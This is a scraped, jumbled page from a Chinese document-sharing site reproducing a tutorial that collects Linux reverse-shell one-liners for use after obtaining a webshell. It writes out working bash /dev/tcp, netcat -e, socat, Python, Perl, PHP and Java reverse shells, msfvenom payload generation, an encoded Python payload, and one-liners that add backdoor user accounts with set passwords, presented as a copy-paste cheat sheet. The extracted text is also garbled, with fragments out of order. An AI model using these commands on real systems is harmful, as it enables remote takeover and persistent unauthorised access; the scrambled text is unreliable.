版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、linux各种一句话反弹shell总结 作者:未知原文链接:/learning/detail/4551.html 收集整理:/test/index.php本文由 干货1【技术分享】linux各种一句话反弹shell总结阅读量 549311|评论 2 稿费 300发布时间:2017-10-16 17:47:56作者:myles007预估稿费:300RMB投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 简介我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做
2、的是工作内容之一,其中经常会遇到以下几个场景。 一、场景一我们已经拿下主机的一个webshell,我们想获取一个可以直接操作主机的虚拟终端,此时我们首先想到的是开启一个shell,这种场景比较简单,我们直接使用使用nc即可开启,如果没有nc我们也可以很轻松的 直接下载安装一个,具体开启的命令如下。 1.1 安装netcat这里需要注意一点默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e这里都被制安装包,自己动手丰衣足食了,具体过程如下。 了,所以我们需要手动下载二进 原生版本netcat
3、链接:/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz2# 第一步:下载二进制netc安装包 roothome-pc# wget /project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz # 第二步:解压安装包 3roothome-pc# tar -xvzf netcat-0.7.1.tar.gz# 第三步:编译安装roothome-pc# ./configure roothome-pc#
4、 make roothome-pc# make install roothome-pc# make clean# 具体编译安装过程可以直接参见INSTALL安装说明文件内容. # 第四步:在当前目录下运行nc帮助 roothome-pc:/tmp/netcat-0.7.1# nc -hGNU netcat 0.7.1, a rewrite of the famous networking tool. Basic usages:connect to somewhere: nc options hostname port port .listen for inbound:nc -l -p port
5、 options hostname port . tunnel to somewhere:nc -L hostname:port -p port optionsMandatory arguments to long options are mandatory for short options too. Options:-c, -closeclose connection on EOF from stdin-e, -exec=PROGRAMprogram to exec after connect-g, -gateway=LISTsource-routing hop points, up to
6、 8-G, -pointer=NUMsource-routing pointer: 4, 8, 12, .-h, -helpdisplay this help and exit-i, -interval=SECSdelay interval for lines sent, ports scanned-l, -listenlisten mode, for inbound connects-L, -tunnel=ADDRESS:PORT forward local port to remote address-n, -dont-resolvenumeric-only IP addresses, n
7、o DNS-o, -output=FILEoutput hexdump traffic to FILE (implies -x)-p, -local-port=NUMlocal port number-r, -randomizerandomize local and remote ports-s, -source=ADDRESSlocal source address (ip or hostname)-t, -tcpTCP mode (default)至此我们已经安装完成原生版本的 netcat工具,有了netcat -e参数,我们就可以将本地bash完整发布到外网了。 1.2 开启本地1.3
8、 直接连接目标主机二、场景二4rootkali:# nc 1 8080whoami rootw22:57:36 up 1:24, 0 users, load average: 0.52, 0.58, 0.59USERTTYFROMLOGINIDLEJCPUPCPU WHA# 开启本地8080端口,并将本地的bash发布出去。 root# nc -lvvp 8080 -t -e /bin/bash-T, -telnetanswer using TELNET negotiation-u, -udpUDP mode-v, -verboseverbose (use twice
9、to be more verbose)-V, -versionoutput version information and exit-x, -hexdumphexdump incoming and outgoing traffic-w, -wait=SECStimeout for connects and final net reads-z, -zerozero-I/O mode (used for scanning)Remote port number can also be specified as range. Example: 1-1024目标主机为一个内网主机,并没有公网IP地址,我
10、们无法从外网发起对目标主机的远程连接,此时我们使用的方法是使用获取的webshell主动发起一个反弹的shell到外网,然后获取一个目标主机的shell终端控制 环境,而有关shell反弹的方法有很多这里简单介绍几种比较常见的方法。 2.1 bash 直接反弹bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。 (1) bash反弹一句话(2)bash一句话命令详解 以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。 其实以上bash反弹一句完整的解读过程就是: bash产生了一个交互环境与本地主机主动发起与目标
11、主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一 个标准的输出,即得到一个bash 反弹环境。 2.2 netcat 工具反弹Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境,前面已经介绍默认的linux发型版现在自带的NC都是被的bash一句话反弹显得就繁琐很多,同时通过实际测试发现NC反弹的shell交互性也差很多,后面会具体说道,这里就不多说了。 ( 1)开启外网主机过来,无法反弹一个bash给远端,所以相对上面 (2) n
12、etcat安装5rootkali:# nc -lvvp 8080listening on any 8080 .root# bash -i & /dev/tcp/1/8080 0&1有关netcat的原生二进制安装包的编译安装内容请参考场景一中的具体说明; ( 3)netcat 反弹一句话( 4) shell反弹成功此时我们再回到外网主机,我们会发现tcp 8080已经接收到远端主机发起的连接,并成功获取shell虚拟终端控制环境。 2.3socat反弹一句话Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socke
13、t,能够折腾socket相关的无数事情 ,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如 此,nc应急比较久没人维护了,确实显得有些陈旧了,我这里只简单的介绍下怎么使用它开启和反弹shell,其他详细内容可以参加见文末的参考学习。 有关socat二进制可执行文件,大家可以到这个链接下载:/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat( 1) 攻击机上开启( 2) 靶机上运行socat反弹shell(3) shell反弹成功6# /tmp/soca
14、t exec:bash -li,pty,stderr,setsid,sigint,sane tcp:74:12345# socat TCP-LISTEN:12345 - # nc 74 8080 -t -e /bin/bash# 命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(74)。 2.4 其他脚本一句话shell反弹以下脚本反弹一句话的使用方法都是一样的,只要在攻击机在本地开启 TCP 8080上要有响应的脚本解析环境支持
15、,才可以使用,相信这点大家肯定都是明白的)。 ,然后在远端靶机上运行以下任意一种脚本语句,即可把靶机的bash反弹给攻击主机的8080端口(当然前提条件是目标主机 2.4.1 python脚本反弹2.4.2 php 脚本反弹2.4.3 Java 脚本反弹2.4.4 perl 脚本反弹2.5 msfvenom 获取反弹一句话学习过程中发现其实强大的MSF框架也为我们提供了生成一句话反弹shell的工具,即msfvenom。绝对的实用,当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,随时我们都可以使用 msfvenom -l 来查询生成我们所需要的各类命令行一句
16、话,具体使用方法为各位看官老爷们收集如下。 7perl -e use Socket;$i=1;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp);if(connect(S,sockaddr_in($p,inet_aton($i)open(STDIN,&S);open(STDOUT,&S);oppython -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(192.168.31.
17、41,8080);os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.filr = Runtime.getRuntime()p = r.exec(/bin/bash,-c,exec 5/dev/tcp/1/8080;cat &5 &5; done as String) p.waitFor()php -r $sock=fsockopen(1,8080);exec(/bin/sh -i &3 2&3);2.5.1查询 payload 具体路径我们直接可以使用 msfvenom -l 结合关键
18、字过滤(如cmd/unix/reverse),找出我们需要的各类反弹一句话payload的路径信息。查看以上截图,我们可以看到msfvenom支持生成反弹shell一句话的类型非常丰富,这里几乎是应有尽有,大家可以依据渗透测试对象自行选择使用。 2.5.2 生成我们我们需要的命令行一句话依照前面查找出的命令生成一句话payload路径,我们使用如下的命令生成反弹一句话,然后复制粘贴到靶机上运行即可。 bash 反弹一句话生成版nc反弹一句话生成2.5.3 msfvenom 使用实例(1) 开启攻击机在攻击机上开启本地 TCP 12345 端口,准备机上的会话反弹,查看如下截图可以看到本地TCP
19、 12345 端口已经开启。 (2) 获取python一句话我们此时可以借助于MSF框架平台的msfvenom 工具自动生成一个python 反弹一句话,具体操作请参加如下截图。(当然这里的前提条件是靶机上安装有python环境,现在默认一般的linux发行版默认都安装有 8# rootkali:# msfvenom -p cmd/unix/reverse_netcat lhost= lport=12345 R# rootkali:# msfvenom -p cmd/unix/reverse_bash lhost= lport=12345 R# msfvenom -
20、l payloads cmd/unix/reversepython环境。)(3) 靶机上运行python一句话直接将上面msfvenon 生成的 python 一句话复制到靶机webshell上运行即可,我这里为演示方便,直接贴了一张使用kali做为靶机运行的截图。 (4) 攻击接受反弹情况 三、场景三场景三其实应该是在使用shell环境获取的过程中遇到的问题孕育出来的,大家如果经常使用前各种方法进行虚拟终端环境获取的话,会发现存在一个问题,就是我们即使获取了目标虚拟终端控制权限,但是往往 会发现交互性非常的差,就是发现这个虚拟回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种。 问题
21、1: 获取的虚拟终端没有交互性,我们想给添加的账号设置,无法完成。 问题2:标准的错误输出无法显示,无法正常使用vim等文本编辑器等; 问题3: 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。 针对以上问题个人学习和总结了以下的应对方法,请大家参考交流。 3.1 一句话添加账号你不是不给我提供交互的界面吗,那我就是使用脚本式的方法,使用一句话完成账号的添加,有关一句话账号的添加,笔者收集了以下几种方式。 3.1.1 chpasswd 方法( 1)执行语句9python -c exec(aW1wb3J0IHNvY2tldCAgICAgICAgLCBzdWJwcm9jZXNzICAgIC
22、AgICAsIG9zICAgICAgICA7ICBob3N0PSIxOTIuMTY4LjMxLjIwMCIgICAgICAgIDsgIHBvcnQ9MTIzNDUgICAgICAgIDsgIHM9c29ja2V0LnNvY2tldC( 2)操作实例3.1.2 useradd -p 方法(1) 执行语句(2) 操作实例10useradd -p encrypted_password newuserrootifly-21171:# useradd guest;echo guest:123456|chpasswdrootifly-21171:# vim /etc/shadowsshd:*:17255:
23、0:99999:7:pollinate:*:17255:0:99999:7:postgres:*:17390:0:99999:7: guest:$6$H0a/Nx.w$c2549uqXOULY4KvfCK6pTJQahhW7fuYYyHlo8HpnBxnUMtbXEbhgvFywwyPo5UsCbSUAMVvW9a7PsJB12TXPn.:17425:0:99999:7:useradd newuser;echo newuser:password|chpasswd( 3) 相同方法其他实现相同方法不同实现一 相同方法不同实现二 3.1.3 echo -e方法(1)执行语句(2) 操作实例11us
24、eradd newuwer;echo -e 123456n123456n |passwd newuseruser_password=openssl passwd 123456 useradd -p $user_password guestrootifly-21171:# useradd -p $(openssl passwd 123456) guestrootifly-21171:#rootifly-21171:# useradd -p openssl passwd 123456 guest rootifly-21171:# vim /etc/shadow sshd:*:17255:0:999
25、99:7:pollinate:*:17255:0:99999:7: postgres:*:17390:0:99999:7: guest:h8S5msqJLVTfo:17425:0:99999:7:3.2 python标准虚拟终端获取我们通过各种方式获取的shell经常不稳定或者没有交互界面的原因,往往都是因为我们获取的shell不是标准的虚拟终端,此时我们其实可以借助于python来获取一个标准的虚拟终端环境。python在现在一般发 行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。 3.2.1 python 一句话获取标准shell使用python
26、一句话获取标准shell的具体命令如下: 命令详解:python 默认就包含有一个pty的标准库。 3.2.2 实例演示具体(1)开启;(2)反弹shell;(3)会话建立的过程这里不在重复演示了,这里直接贴出笔者获取到反弹shell后的问题后,如何通过python获取标准shell的过程截图展现如下。 虽然到目前为止写的虚拟终端并没有原生终端那样好,但是花点时间去折腾然后不断的去完善.相信会做的更好. 大家可能在渗透测试的时候会发现有些时候系统的命令终端是不允许直接访问的,那么这个时候用 Python虚拟化一个终端相信会让你眼前一亮.12# python -c import pty;pty.
27、spawn(/bin/bash)rootifly-21171:# useradd test;echo -e 123456n123456n |passwd testEnter new UNIX password: Retype new UNIX password: passwd: password updated successfully rootifly-21171:# vim /etc/shadowsshd:*:17255:0:99999:7:pollinate:*:17255:0:99999:7:postgres:*:17390:0:99999:7:guest:h/UnnFIjqKogw:
28、17425:0:99999:7: test:$6$rEjvwAb2$nJuZ1MDt0iKbW9nigp8g54ageiKBDuoLObLd1kWUC2FmLS0xCFFZmU4dzRtX/i2Ypm9uY6oKrSa9gzQ6qykzW1:17425:0:99999:7:四、写在最后最后将上面学习的内容做一下小结,以方便日后可以直接复制粘贴使用,笔者贴心不,你就说贴心补贴(ou tu bu zhi ) 4.1 nc开启本地发布bash服务4.2 常用反弹shell一句话(1) bash反弹一句话(2) nc 反弹一句话(3) socat 反弹一句话4.3 利用msfvenom获取反弹一句话(
29、1) 查询 reverse payload 反弹路径13# wget -q /andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat# 第一步:下载socat到/tmp目录下 # chmod 755 /tmp/socat# 第二步:给socaat授予可以执行权限 # /tmp/socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:1:12345# 第三步:反弹shell到目标主机的12345端口 # nc 23 123
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 道路货运汽车驾驶员创新应用水平考核试卷含答案
- 水泥混凝土制品制作工创新实践水平考核试卷含答案
- 道路客运调度员冲突解决知识考核试卷含答案
- 充电桩支付对账方案
- 充电桩预防保养方案
- 机器学习算法介绍与使用手册
- 固体矿产钻探工操作能力水平考核试卷含答案
- 充电桩扬尘控制方案
- 充电桩光伏协同应用方案
- 物流智能化运营提升方案
- 备战2026河南中考英语:补全对话7大场景高频问句及答语梳理+解题技巧
- 应急演练组织规范及流程
- 砖混转框架施工方案样本
- T-CHAS 10-2-19-2023 中国医院质量安全管理 第2-19部分:患者服务 内镜治疗
- 2025年农产品质量与安全管理试卷及答案
- DB11∕T 1072-2025 城市桥梁工程施工质量检验标准
- 中国农业大学强基计划真题笔试
- 2025年公安院校联考考试面试试题及答案
- 雨课堂学堂云在线《经典与思考-人文清华大师面对面 》单元测试考核答案
- 2025年6月浙江省高考历史试卷真题(含答案解析)
- 《婴幼儿游戏活动实施》课程标准(五年制高职专科)
评论
0/150
提交评论